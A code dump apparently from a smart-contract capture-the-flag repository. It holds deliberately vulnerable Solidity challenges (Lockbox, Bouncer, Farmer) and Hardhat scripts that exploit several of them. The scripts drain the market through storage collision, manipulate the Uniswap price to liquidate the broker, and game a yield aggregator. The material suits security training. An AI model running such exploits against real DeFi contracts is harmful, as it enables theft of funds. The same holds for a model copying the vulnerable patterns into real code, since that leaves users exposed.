70 | console.log(' setup ', formatEther(await baddy.balanceOf(setup.address))) 71 | console.log(' bank ', formatEther(await baddy.balanceOf(bank.address))) 72 | console.log(' agg ', formatEther(await baddy.balanceOf(agg.address))) 73 | console.log('BANK') 74 | console.log(' signer', formatEther(await bank.balanceOf(signer.address))) 75 | console.log(' setup ', formatEther(await bank.balanceOf(setup.address))) 76 | console.log(' bank ', formatEther(await bank.balanceOf(bank.address))) 77 | console.log(' agg ', formatEther(await bank.balanceOf(agg.address))) 78 | console.log('YIELD') 79 | console.log(' signer', formatEther(await agg.poolTokens(signer.address))) 80 | console.log(' setup ', formatEther(await agg.poolTokens(setup.address))) 81 | console.log(' bank ', formatEther(await agg.poolTokens(bank.address))) 82 | console.log(' agg ', formatEther(await agg.poolTokens(agg.address))) 83 | 84 | console.log() 85 | } 86 | 87 | await logBalances() 88 | 89 | // try deposit weth 90 | 91 | const amount = parseEther('50') 92 | await weth.deposit({ value: amount }) 93 | await weth.approve(agg.address, constants.MaxUint256) 94 | await agg.deposit(baddy.address, [weth.address], [amount]) 95 | 96 | await logBalances() 97 | 98 | await agg.withdraw(bank.address, [weth.address], [amount]) 99 | 100 | await logBalances() 101 | 102 | // verify 103 | 104 | console.log('Success?', await setup.isSolved()) 105 | }) 106 | -------------------------------------------------------------------------------- /contracts/lockbox/Lockbox.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.24; 2 | 3 | contract Stage { 4 | Stage public next; 5 | 6 | constructor(Stage next_) public { 7 | next = next_; 8 | } 9 | 10 | function getSelector() public view returns (bytes4); 11 | 12 | modifier _() { 13 | _; 14 | 15 | assembly { 16 | let next := sload(next_slot) 17 | if iszero(next) { 18 | return(0, 0) 19 | } 20 | 21 | mstore(0x00, 0x034899bc00000000000000000000000000000000000000000000000000000000) 22 | pop(call(gas(), next, 0, 0, 0x04, 0x00, 0x04)) 23 | calldatacopy(0x04, 0x04, sub(calldatasize(), 0x04)) 24 | switch call(gas(), next, 0, 0, calldatasize(), 0, 0) 25 | case 0 { 26 | returndatacopy(0x00, 0x00, returndatasize()) 27 | revert(0x00, returndatasize()) 28 | } 29 | case 1 { 30 | returndatacopy(0x00, 0x00, returndatasize()) 31 | return(0x00, returndatasize()) 32 | } 33 | } 34 | } 35 | } 36 | 37 | contract Entrypoint is Stage { 38 | constructor() public Stage(new Stage1()) {} 39 | 40 | function getSelector() public view returns (bytes4) { 41 | return this.solve.selector; 42 | } 43 | 44 | bool public solved; 45 | 46 | function solve(bytes4 guess) public _ { 47 | require(guess == bytes4(blockhash(block.number - 1)), "do you feel lucky?"); 48 | 49 | solved = true; 50 | } 51 | } 52 | 53 | contract Stage1 is Stage { 54 | constructor() public Stage(new Stage2()) {} 55 | 56 | function getSelector() public view returns (bytes4) { 57 | return this.solve.selector; 58 | } 59 | 60 | function solve( 61 | uint8 v, 62 | bytes32 r, 63 | bytes32 s 64 | ) public _ { 65 | require( 66 | ecrecover(keccak256("stage1"), v, r, s) == 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, 67 | "who are you?" 68 | ); 69 | } 70 | } 71 | 72 | contract Stage2 is Stage { 73 | constructor() public Stage(new Stage3()) {} 74 | 75 | function getSelector() public view returns (bytes4) { 76 | return this.solve.selector; 77 | } 78 | 79 | function solve(uint16 a, uint16 b) public _ { 80 | require(a > 0 && b > 0 && a + b < a, "something doesn't add up"); 81 | } 82 | } 83 | 84 | contract Stage3 is Stage { 85 | constructor() public Stage(new Stage4()) {} 86 | 87 | function getSelector() public view returns (bytes4) { 88 | return this.solve.selector; 89 | } 90 | 91 | function solve( 92 | uint256 idx, 93 | uint256[4] memory keys, 94 | uint256[4] memory lock 95 | ) public _ { 96 | require(keys[idx % 4] == lock[idx % 4], "key did not fit lock"); 97 | 98 | for (uint256 i = 0; i < keys.length - 1; i++) { 99 | require(keys[i] < keys[i + 1], "out of order"); 100 | } 101 | 102 | for (uint256 j = 0; j < keys.length; j++) { 103 | require((keys[j] - lock[j]) % 2 == 0, "this is a bit odd"); 104 | } 105 | } 106 | } 107 | 108 | contract Stage4 is Stage { 109 | constructor() public Stage(new Stage5()) {} 110 | 111 | function getSelector() public view returns (bytes4) { 112 | return this.solve.selector; 113 | } 114 | 115 | function solve(bytes32[6] choices, uint256 choice) public _ { 116 | require(choices[choice % 6] == keccak256(abi.encodePacked("choose")), "wrong choice!"); 117 | } 118 | } 119 | 120 | contract Stage5 is Stage { 121 | constructor() public Stage(Stage(0x00)) {} 122 | 123 | function getSelector() public view returns (bytes4) { 124 | return this.solve.selector; 125 | } 126 | 127 | function solve() public _ { 128 | require(msg.data.length < 256, "a little too long"); 129 | } 130 | } 131 | -------------------------------------------------------------------------------- /task/market.ts: -------------------------------------------------------------------------------- 1 | import { BigNumber, Contract, utils } from 'ethers' 2 | import { formatEther, parseEther } from 'ethers/lib/utils' 3 | import { task } from 'hardhat/config' 4 | 5 | task('market') 6 | .addOptionalPositionalParam('setupAddress') 7 | .setAction(async ({ setupAddress }, { run, ethers }) => { 8 | await run('compile') 9 | 10 | // get signer 11 | 12 | const signer = (await ethers.getSigners())[0] 13 | console.log('Signer') 14 | console.log(' at', signer.address) 15 | 16 | // setup problem 17 | 18 | let setup: Contract 19 | if (setupAddress) { 20 | setup = await ethers.getContractAt( 21 | 'contracts/market/Setup.sol:Setup', 22 | setupAddress, 23 | ) 24 | } else { 25 | setup = await ( 26 | await ethers.getContractFactory('contracts/market/Setup.sol:Setup') 27 | ).deploy({ value: parseEther('50') }) 28 | } 29 | console.log('Setup') 30 | console.log(' at', setup.address) 31 | 32 | // init contracts 33 | 34 | const market = await ethers.getContractAt( 35 | 'CryptoCollectiblesMarket', 36 | await setup.market(), 37 | ) 38 | console.log('CryptoCollectiblesMarket') 39 | console.log(' at', market.address) 40 | 41 | const nft = await ethers.getContractAt( 42 | 'CryptoCollectibles', 43 | await setup.token(), 44 | ) 45 | console.log('CryptoCollectibles') 46 | console.log(' at', nft.address) 47 | 48 | const storage = await ethers.getContractAt( 49 | 'EternalStorageAPI', 50 | await setup.eternalStorage(), 51 | ) 52 | console.log('EternalStorage') 53 | console.log(' at', storage.address) 54 | 55 | // perform exploit 56 | 57 | console.log('Market') 58 | console.log( 59 | ' balance', 60 | formatEther(await market.provider.getBalance(market.address)), 61 | ) 62 | 63 | const tokenID = await market.callStatic.mintCollectible({ 64 | value: parseEther('5'), 65 | }) 66 | const tokenID_sub1 = BigNumber.from(tokenID).sub(1).toHexString() 67 | const tokenID_sub2 = BigNumber.from(tokenID).sub(2).toHexString() 68 | 69 | // solved by plugging in: 2*floor((y * 10000) / (10000 + 1000)) = 50*10^18+y 70 | // to wolfram alpha 71 | const value = parseEther('61.111111111111111112') 72 | await market.mintCollectible({ value }) 73 | 74 | console.log('NFT') 75 | console.log(' id', tokenID) 76 | console.log(' name', await storage.getName(tokenID)) 77 | console.log(' metadata', await storage.getMetadata(tokenID_sub2)) 78 | 79 | await storage.updateName(tokenID, utils.zeroPad(signer.address, 32)) 80 | 81 | console.log('NFT') 82 | console.log(' id', tokenID) 83 | console.log(' name', await storage.getName(tokenID)) 84 | console.log(' metadata', await storage.getMetadata(tokenID_sub2)) 85 | 86 | await storage.updateName(tokenID_sub1, utils.zeroPad(signer.address, 32)) 87 | 88 | console.log('NFT') 89 | console.log(' id', tokenID) 90 | console.log(' name', await storage.getName(tokenID)) 91 | console.log(' metadata', await storage.getMetadata(tokenID_sub2)) 92 | 93 | console.log('Market') 94 | console.log( 95 | ' balance', 96 | formatEther(await market.provider.getBalance(market.address)), 97 | ) 98 | 99 | await nft.approve(tokenID, market.address) 100 | await market.sellCollectible(tokenID) 101 | 102 | console.log('NFT') 103 | console.log(' id', tokenID) 104 | console.log(' name', await storage.getName(tokenID)) 105 | console.log(' metadata', await storage.getMetadata(tokenID_sub2)) 106 | 107 | console.log('Market') 108 | console.log( 109 | ' balance', 110 | formatEther(await market.provider.getBalance(market.address)), 111 | ) 112 | 113 | let balance = await market.provider.getBalance(market.address) 114 | 115 | while (balance.gt(0)) { 116 | await storage.updateMetadata(tokenID_sub2, signer.address) 117 | 118 | await nft.approve(tokenID, market.address) 119 | await market.sellCollectible(tokenID) 120 | 121 | balance = await market.provider.getBalance(market.address) 122 | 123 | console.log('Market') 124 | console.log(' balance', formatEther(balance)) 125 | } 126 | 127 | // verify 128 | 129 | console.log('Success?', await setup.isSolved()) 130 | }) 131 | -------------------------------------------------------------------------------- /contracts/upgrade/SafeERC20.sol: -------------------------------------------------------------------------------- 1 | // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol 2 | 3 | // License: MIT 4 | 5 | pragma solidity ^0.6.0; 6 | 7 | import "./SafeMath.sol"; 8 | import "./Address.sol"; 9 | import "./IERC20.sol"; 10 | 11 | /** 12 | * @title SafeERC20 13 | * @dev Wrappers around ERC20 operations that throw on failure (when the token 14 | * contract returns false). Tokens that return no value (and instead revert or 15 | * throw on failure) are also supported, non-reverting calls are assumed to be 16 | * successful. 17 | * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, 18 | * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. 19 | */ 20 | library SafeERC20 { 21 | using SafeMath for uint256; 22 | using Address for address; 23 | 24 | function safeTransfer( 25 | IERC20 token, 26 | address to, 27 | uint256 value 28 | ) internal { 29 | _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); 30 | } 31 | 32 | function safeTransferFrom( 33 | IERC20 token, 34 | address from, 35 | address to, 36 | uint256 value 37 | ) internal { 38 | _callOptionalReturn( 39 | token, 40 | abi.encodeWithSelector(token.transferFrom.selector, from, to, value) 41 | ); 42 | } 43 | 44 | /** 45 | * @dev Deprecated. This function has issues similar to the ones found in 46 | * {IERC20-approve}, and its usage is discouraged. 47 | * 48 | * Whenever possible, use {safeIncreaseAllowance} and 49 | * {safeDecreaseAllowance} instead. 50 | */ 51 | function safeApprove( 52 | IERC20 token, 53 | address spender, 54 | uint256 value 55 | ) internal { 56 | // safeApprove should only be called when setting an initial allowance, 57 | // or when resetting it to zero. To increase and decrease it, use 58 | // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' 59 | // solhint-disable-next-line max-line-length 60 | require( 61 | (value == 0) || (token.allowance(address(this), spender) == 0), 62 | "SafeERC20: approve from non-zero to non-zero allowance" 63 | ); 64 | _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); 65 | } 66 | 67 | function safeIncreaseAllowance( 68 | IERC20 token, 69 | address spender, 70 | uint256 value 71 | ) internal { 72 | uint256 newAllowance = token.allowance(address(this), spender).add(value); 73 | _callOptionalReturn( 74 | token, 75 | abi.encodeWithSelector(token.approve.selector, spender, newAllowance) 76 | ); 77 | } 78 | 79 | function safeDecreaseAllowance( 80 | IERC20 token, 81 | address spender, 82 | uint256 value 83 | ) internal { 84 | uint256 newAllowance = 85 | token.allowance(address(this), spender).sub( 86 | value, 87 | "SafeERC20: decreased allowance below zero" 88 | ); 89 | _callOptionalReturn( 90 | token, 91 | abi.encodeWithSelector(token.approve.selector, spender, newAllowance) 92 | ); 93 | } 94 | 95 | /** 96 | * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement 97 | * on the return value: the return value is optional (but if data is returned, it must not be false). 98 | * @param token The token targeted by the call. 99 | * @param data The call data (encoded using abi.encode or one of its variants). 100 | */ 101 | function _callOptionalReturn(IERC20 token, bytes memory data) private { 102 | // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since 103 | // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that 104 | // the target address contains contract code and also asserts for success in the low-level call. 105 | 106 | bytes memory returndata = 107 | address(token).functionCall(data, "SafeERC20: low-level call failed"); 108 | if (returndata.length > 0) { 109 | // Return data is optional 110 | // solhint-disable-next-line max-line-length 111 | require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); 112 | } 113 | } 114 | } 115 | -------------------------------------------------------------------------------- /contracts/bouncer/Bouncer.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.8.0; 2 | 3 | interface ERC20Like { 4 | function transfer(address dst, uint qty) external returns (bool); 5 | function transferFrom(address src, address dst, uint qty) external returns (bool); 6 | function approve(address dst, uint qty) external returns (bool); 7 | function allowance(address src, address dst) external returns (uint256); 8 | function balanceOf(address who) external view returns (uint); 9 | } 10 | 11 | contract Bouncer { 12 | address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; 13 | uint256 public constant entryFee = 1 ether; 14 | 15 | address owner; 16 | constructor() payable { 17 | owner = msg.sender; 18 | } 19 | 20 | mapping (address => address) public delegates; 21 | mapping (address => mapping (address => uint256)) public tokens; 22 | struct Entry { 23 | uint256 amount; 24 | uint256 timestamp; 25 | ERC20Like token; 26 | } 27 | mapping (address => Entry[]) entries; 28 | 29 | 30 | // declare intent to enter 31 | function enter(address token, uint256 amount) public payable { 32 | require(msg.value == entryFee, "err fee not paid"); 33 | entries[msg.sender].push(Entry ({ 34 | amount: amount, 35 | token: ERC20Like(token), 36 | timestamp: block.timestamp 37 | })); 38 | } 39 | 40 | function convertMany(address who, uint256[] memory ids) payable public { 41 | for (uint256 i = 0; i < ids.length; i++) { 42 | convert(who, ids[i]); 43 | } 44 | } 45 | 46 | // use the returned number to gatekeep 47 | function contributions(address who, address[] memory coins) public view returns (uint256[] memory) { 48 | uint256[] memory res = new uint256[](coins.length); 49 | for (uint256 i = 0; i < coins.length; i++) { 50 | res[i] = tokens[who][coins[i]]; 51 | } 52 | return res; 53 | } 54 | 55 | // convert your erc20s to tokens 56 | function convert(address who, uint256 id) payable public { 57 | Entry memory entry = entries[who][id]; 58 | require(block.timestamp != entry.timestamp, "err/wait after entering"); 59 | if (address(entry.token) != ETH) { 60 | require(entry.token.allowance(who, address(this)) == type(uint256).max, "err/must give full approval"); 61 | } 62 | require(msg.sender == who || msg.sender == delegates[who]); 63 | proofOfOwnership(entry.token, who, entry.amount); 64 | tokens[who][address(entry.token)] += entry.amount; 65 | } 66 | 67 | // redeem your tokens for their underlying erc20 68 | function redeem(ERC20Like token, uint256 amount) public { 69 | tokens[msg.sender][address(token)] -= amount; 70 | payout(token, msg.sender, amount); 71 | } 72 | 73 | function payout(ERC20Like token, address to, uint256 amount) private { 74 | if (address(token) == ETH) { 75 | payable(to).transfer(amount); 76 | } else { 77 | require(token.transfer(to, amount), "err/not enough tokens"); 78 | } 79 | } 80 | 81 | function proofOfOwnership(ERC20Like token, address from, uint256 amount) public payable { 82 | if (address(token) == ETH) { 83 | require(msg.value == amount, "err/not enough tokens"); 84 | } else { 85 | require(token.transferFrom(from, address(this), amount), "err/not enough tokens"); 86 | } 87 | } 88 | 89 | function addDelegate(address from, address to) public { 90 | require(msg.sender == owner || msg.sender == from); 91 | delegates[from] = to; 92 | } 93 | 94 | function removeDelegate(address from) public { 95 | require(msg.sender == owner || msg.sender == from); 96 | delete delegates[from]; 97 | } 98 | 99 | // get all the fees given during registration 100 | function claimFees() public { 101 | require(msg.sender == owner); 102 | payable(msg.sender).transfer(address(this).balance); 103 | } 104 | 105 | // owner can trigger arbitrary calls 106 | function hatch(address target, bytes memory data) public { 107 | require(msg.sender == owner); 108 | (bool ok, bytes memory res) = target.delegatecall(data); 109 | require(ok, string(res)); 110 | } 111 | } 112 | 113 | contract Party { 114 | Bouncer bouncer; 115 | constructor(Bouncer _bouncer) { 116 | bouncer = _bouncer; 117 | } 118 | 119 | function isAllowed(address who) public view returns (bool) { 120 | address[] memory res = new address[](2); 121 | res[0] = 0x6B175474E89094C44Da98b954EedeAC495271d0F; 122 | res[1] = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 123 | uint256[] memory contribs = bouncer.contributions(who, res); 124 | uint256 sum; 125 | for (uint256 i = 0; i < contribs.length; i++) { 126 | sum += contribs[i]; 127 | } 128 | return sum > 1000 * 1 ether; 129 | } 130 | } 131 | -------------------------------------------------------------------------------- /problems/bouncer/public/contracts/Bouncer.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.8.0; 2 | 3 | interface ERC20Like { 4 | function transfer(address dst, uint qty) external returns (bool); 5 | function transferFrom(address src, address dst, uint qty) external returns (bool); 6 | function approve(address dst, uint qty) external returns (bool); 7 | function allowance(address src, address dst) external returns (uint256); 8 | function balanceOf(address who) external view returns (uint); 9 | } 10 | 11 | contract Bouncer { 12 | address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; 13 | uint256 public constant entryFee = 1 ether; 14 | 15 | address owner; 16 | constructor() payable { 17 | owner = msg.sender; 18 | } 19 | 20 | mapping (address => address) public delegates; 21 | mapping (address => mapping (address => uint256)) public tokens; 22 | struct Entry { 23 | uint256 amount; 24 | uint256 timestamp; 25 | ERC20Like token; 26 | } 27 | mapping (address => Entry[]) entries; 28 | 29 | 30 | // declare intent to enter 31 | function enter(address token, uint256 amount) public payable { 32 | require(msg.value == entryFee, "err fee not paid"); 33 | entries[msg.sender].push(Entry ({ 34 | amount: amount, 35 | token: ERC20Like(token), 36 | timestamp: block.timestamp 37 | })); 38 | } 39 | 40 | function convertMany(address who, uint256[] memory ids) payable public { 41 | for (uint256 i = 0; i < ids.length; i++) { 42 | convert(who, ids[i]); 43 | } 44 | } 45 | 46 | // use the returned number to gatekeep 47 | function contributions(address who, address[] memory coins) public view returns (uint256[] memory) { 48 | uint256[] memory res = new uint256[](coins.length); 49 | for (uint256 i = 0; i < coins.length; i++) { 50 | res[i] = tokens[who][coins[i]]; 51 | } 52 | return res; 53 | } 54 | 55 | // convert your erc20s to tokens 56 | function convert(address who, uint256 id) payable public { 57 | Entry memory entry = entries[who][id]; 58 | require(block.timestamp != entry.timestamp, "err/wait after entering"); 59 | if (address(entry.token) != ETH) { 60 | require(entry.token.allowance(who, address(this)) == type(uint256).max, "err/must give full approval"); 61 | } 62 | require(msg.sender == who || msg.sender == delegates[who]); 63 | proofOfOwnership(entry.token, who, entry.amount); 64 | tokens[who][address(entry.token)] += entry.amount; 65 | } 66 | 67 | // redeem your tokens for their underlying erc20 68 | function redeem(ERC20Like token, uint256 amount) public { 69 | tokens[msg.sender][address(token)] -= amount; 70 | payout(token, msg.sender, amount); 71 | } 72 | 73 | function payout(ERC20Like token, address to, uint256 amount) private { 74 | if (address(token) == ETH) { 75 | payable(to).transfer(amount); 76 | } else { 77 | require(token.transfer(to, amount), "err/not enough tokens"); 78 | } 79 | } 80 | 81 | function proofOfOwnership(ERC20Like token, address from, uint256 amount) public payable { 82 | if (address(token) == ETH) { 83 | require(msg.value == amount, "err/not enough tokens"); 84 | } else { 85 | require(token.transferFrom(from, address(this), amount), "err/not enough tokens"); 86 | } 87 | } 88 | 89 | function addDelegate(address from, address to) public { 90 | require(msg.sender == owner || msg.sender == from); 91 | delegates[from] = to; 92 | } 93 | 94 | function removeDelegate(address from) public { 95 | require(msg.sender == owner || msg.sender == from); 96 | delete delegates[from]; 97 | } 98 | 99 | // get all the fees given during registration 100 | function claimFees() public { 101 | require(msg.sender == owner); 102 | payable(msg.sender).transfer(address(this).balance); 103 | } 104 | 105 | // owner can trigger arbitrary calls 106 | function hatch(address target, bytes memory data) public { 107 | require(msg.sender == owner); 108 | (bool ok, bytes memory res) = target.delegatecall(data); 109 | require(ok, string(res)); 110 | } 111 | } 112 | 113 | contract Party { 114 | Bouncer bouncer; 115 | constructor(Bouncer _bouncer) { 116 | bouncer = _bouncer; 117 | } 118 | 119 | function isAllowed(address who) public view returns (bool) { 120 | address[] memory res = new address[](2); 121 | res[0] = 0x6B175474E89094C44Da98b954EedeAC495271d0F; 122 | res[1] = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 123 | uint256[] memory contribs = bouncer.contributions(who, res); 124 | uint256 sum; 125 | for (uint256 i = 0; i < contribs.length; i++) { 126 | sum += contribs[i]; 127 | } 128 | return sum > 1000 * 1 ether; 129 | } 130 | } 131 | -------------------------------------------------------------------------------- /task/broker.ts: -------------------------------------------------------------------------------- 1 | import IUniswapV2Pair from '@uniswap/v2-core/build/IUniswapV2Pair.json' 2 | import IUniswapV2Router02 from '@uniswap/v2-periphery/build/IUniswapV2Router02.json' 3 | import { Contract } from 'ethers' 4 | import { formatEther, parseEther } from 'ethers/lib/utils' 5 | import { task } from 'hardhat/config' 6 | 7 | task('broker') 8 | .addOptionalPositionalParam('setupAddress') 9 | .setAction(async ({ setupAddress }, { run, ethers }) => { 10 | await run('compile') 11 | 12 | // get signer 13 | 14 | const signer = (await ethers.getSigners())[0] 15 | console.log('Signer', signer.address) 16 | 17 | // setup problem 18 | 19 | let setup: Contract 20 | if (setupAddress) { 21 | setup = await ethers.getContractAt( 22 | 'contracts/broker/Setup.sol:Setup', 23 | setupAddress, 24 | ) 25 | } else { 26 | setup = await ( 27 | await ethers.getContractFactory('contracts/broker/Setup.sol:Setup') 28 | ).deploy({ value: parseEther('50') }) 29 | } 30 | console.log('Setup') 31 | console.log(' at', setup.address) 32 | 33 | // init contracts 34 | 35 | const weth = await ethers.getContractAt( 36 | 'contracts/broker/Broker.sol:WETH9', 37 | '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2', 38 | ) 39 | console.log('WETH9') 40 | console.log(' at', weth.address) 41 | 42 | const token = await ethers.getContractAt( 43 | 'contracts/broker/Setup.sol:Token', 44 | await setup.token(), 45 | ) 46 | console.log('Token') 47 | console.log(' at', token.address) 48 | 49 | const router = await ethers.getContractAt( 50 | IUniswapV2Router02.abi, 51 | '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D', 52 | ) 53 | console.log('Router') 54 | console.log(' at', router.address) 55 | 56 | const pair = await ethers.getContractAt( 57 | IUniswapV2Pair.abi, 58 | await setup.pair(), 59 | ) 60 | console.log('Pair') 61 | console.log(' at', pair.address) 62 | 63 | const broker = await ethers.getContractAt('Broker', await setup.broker()) 64 | console.log('Broker') 65 | console.log(' at', broker.address) 66 | 67 | // perform exploit 68 | 69 | console.log('Signer') 70 | console.log(' bal ETH', formatEther(await weth.balanceOf(signer.address))) 71 | console.log(' bal TOK', formatEther(await token.balanceOf(signer.address))) 72 | console.log('Setup') 73 | console.log(' bal ETH', formatEther(await weth.balanceOf(setup.address))) 74 | console.log(' bal TOK', formatEther(await token.balanceOf(setup.address))) 75 | console.log('Pair') 76 | console.log(' bal ETH', formatEther(await weth.balanceOf(pair.address))) 77 | console.log(' bal TOK', formatEther(await token.balanceOf(pair.address))) 78 | console.log('Broker') 79 | console.log(' bal ETH', formatEther(await weth.balanceOf(broker.address))) 80 | console.log(' bal TOK', formatEther(await token.balanceOf(broker.address))) 81 | console.log(' rate', (await broker.rate()).toString()) 82 | console.log(' debt', formatEther(await broker.debt(setup.address))) 83 | console.log(' safeDebt', formatEther(await broker.safeDebt(setup.address))) 84 | 85 | // buy TOK with eth 86 | 87 | // function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) 88 | // external 89 | // payable 90 | // returns (uint[] memory amounts); 91 | const amount = parseEther('190000') 92 | await router.swapETHForExactTokens( 93 | amount, 94 | [weth.address, token.address], 95 | signer.address, 96 | (await router.provider.getBlock('latest')).timestamp + 1000, 97 | { value: parseEther('50') }, 98 | ) 99 | 100 | console.log('Signer') 101 | console.log(' bal ETH', formatEther(await weth.balanceOf(signer.address))) 102 | console.log(' bal TOK', formatEther(await token.balanceOf(signer.address))) 103 | console.log('Broker') 104 | console.log(' bal ETH', formatEther(await weth.balanceOf(broker.address))) 105 | console.log(' bal TOK', formatEther(await token.balanceOf(broker.address))) 106 | console.log(' rate', (await broker.rate()).toString()) 107 | console.log(' debt', formatEther(await broker.debt(setup.address))) 108 | console.log(' safeDebt', formatEther(await broker.safeDebt(setup.address))) 109 | 110 | // liquidate 111 | 112 | console.log('Payment', formatEther(amount.div(await broker.rate()))) 113 | 114 | await token.approve(broker.address, amount) 115 | await broker.liquidate(setup.address, amount) 116 | 117 | console.log('Signer') 118 | console.log(' bal ETH', formatEther(await weth.balanceOf(signer.address))) 119 | console.log(' bal TOK', formatEther(await token.balanceOf(signer.address))) 120 | console.log('Broker') 121 | console.log(' bal ETH', formatEther(await weth.balanceOf(broker.address))) 122 | console.log(' bal TOK', formatEther(await token.balanceOf(broker.address))) 123 | console.log(' rate', (await broker.rate()).toString()) 124 | console.log(' debt', formatEther(await broker.debt(setup.address))) 125 | console.log(' safeDebt', formatEther(await broker.safeDebt(setup.address))) 126 | 127 | // verify 128 | 129 | console.log('Success?', await setup.isSolved()) 130 | }) 131 | -------------------------------------------------------------------------------- /contracts/farmer/Farmer.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | interface IComptroller { 4 | function claimComp(address holder, address[] calldata cTokens) external; 5 | 6 | function claimableComp() external view returns (uint256); 7 | } 8 | 9 | interface ERC20Like { 10 | function transfer(address dst, uint256 qty) external returns (bool); 11 | 12 | function transferFrom( 13 | address src, 14 | address dst, 15 | uint256 qty 16 | ) external returns (bool); 17 | 18 | function balanceOf(address who) external view returns (uint256); 19 | 20 | function approve(address guy, uint256 wad) external returns (bool); 21 | } 22 | 23 | interface WETH9 is ERC20Like { 24 | function deposit() external payable; 25 | } 26 | 27 | interface CERC20Like is ERC20Like { 28 | function mint(uint256 mintAmount) external returns (uint256); 29 | 30 | function redeemUnderlying(uint256 redeemAmount) external returns (uint256); 31 | } 32 | 33 | interface UniRouter { 34 | function swapExactTokensForTokens( 35 | uint256 amountIn, 36 | uint256 amountOutMin, 37 | address[] calldata path, 38 | address to, 39 | uint256 deadline 40 | ) external returns (uint256[] memory amounts); 41 | 42 | function getAmountsOut(uint256 amountIn, address[] memory path) 43 | external 44 | view 45 | returns (uint256[] memory amounts); 46 | } 47 | 48 | // Mock contract to not have to deal with Compound's inflation in the challenge 49 | // Assumes it gets funded somehow 50 | contract CompFaucet { 51 | address owner; 52 | ERC20Like public constant comp = ERC20Like(0xc00e94Cb662C3520282E6f5717214004A7f26888); 53 | 54 | constructor(address _owner) { 55 | owner = _owner; 56 | } 57 | 58 | function claimComp(address, address[] calldata) external { 59 | comp.transfer(owner, comp.balanceOf(address(this))); 60 | } 61 | 62 | function claimableComp() public view returns (uint256) { 63 | return comp.balanceOf(address(this)); 64 | } 65 | } 66 | 67 | contract CompDaiFarmer { 68 | address public owner = msg.sender; 69 | address public harvester = msg.sender; 70 | 71 | ERC20Like public constant dai = ERC20Like(0x6B175474E89094C44Da98b954EedeAC495271d0F); 72 | UniRouter public constant router = UniRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 73 | WETH9 public constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 74 | 75 | CERC20Like public constant CDAI = CERC20Like(0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643); 76 | ERC20Like public constant COMP = ERC20Like(0xc00e94Cb662C3520282E6f5717214004A7f26888); 77 | IComptroller public comptroller; 78 | 79 | mapping(address => uint256) deposits; 80 | 81 | function peekYield() public view returns (uint256) { 82 | uint256 claimableAmount = IComptroller(comptroller).claimableComp(); 83 | 84 | address[] memory path = new address[](3); 85 | path[0] = address(COMP); 86 | path[1] = address(WETH); 87 | path[2] = address(dai); 88 | 89 | uint256[] memory amounts = router.getAmountsOut(claimableAmount, path); 90 | return amounts[2]; 91 | } 92 | 93 | function deposit(uint256 amount) public { 94 | require(dai.transferFrom(msg.sender, address(this), amount)); 95 | deposits[msg.sender] += amount; 96 | } 97 | 98 | function withdraw(uint256 amount) public { 99 | deposits[msg.sender] -= amount; 100 | require(dai.transfer(msg.sender, amount)); 101 | } 102 | 103 | // mints all possible dai to cdai 104 | function mint() public { 105 | uint256 daiBalance = dai.balanceOf(address(this)); 106 | dai.approve(address(CDAI), daiBalance); 107 | CDAI.mint(daiBalance); 108 | } 109 | 110 | function redeemUnderlying(uint256 amount) public { 111 | require( 112 | msg.sender == owner || amount <= deposits[msg.sender], 113 | "cannot redeem more than your balance" 114 | ); 115 | CDAI.redeemUnderlying(amount); 116 | } 117 | 118 | // claims a bunch of comp 119 | function claim() public { 120 | address[] memory ctokens = new address[](1); 121 | ctokens[0] = address(CDAI); 122 | IComptroller(comptroller).claimComp(address(this), ctokens); 123 | } 124 | 125 | // recycles the comp back to dai 126 | function recycle() public returns (uint256) { 127 | address[] memory path = new address[](3); 128 | path[0] = address(COMP); 129 | path[1] = address(WETH); 130 | path[2] = address(dai); 131 | 132 | uint256 bal = COMP.balanceOf(address(this)); 133 | COMP.approve(address(router), bal); 134 | 135 | uint256[] memory amts = 136 | router.swapExactTokensForTokens(bal, 0, path, address(this), block.timestamp + 1800); 137 | 138 | return amts[2]; 139 | } 140 | 141 | function claimAndRecycle() public { 142 | require(msg.sender == harvester, "err/only harvester"); 143 | claim(); 144 | recycle(); 145 | } 146 | 147 | function changeHarvester(address newHarvester) public { 148 | require(msg.sender == owner); 149 | harvester = newHarvester; 150 | } 151 | 152 | function setComp(address _comptroller) public { 153 | require(msg.sender == owner); 154 | comptroller = IComptroller(_comptroller); 155 | } 156 | } 157 | --------------------------------------------------------------------------------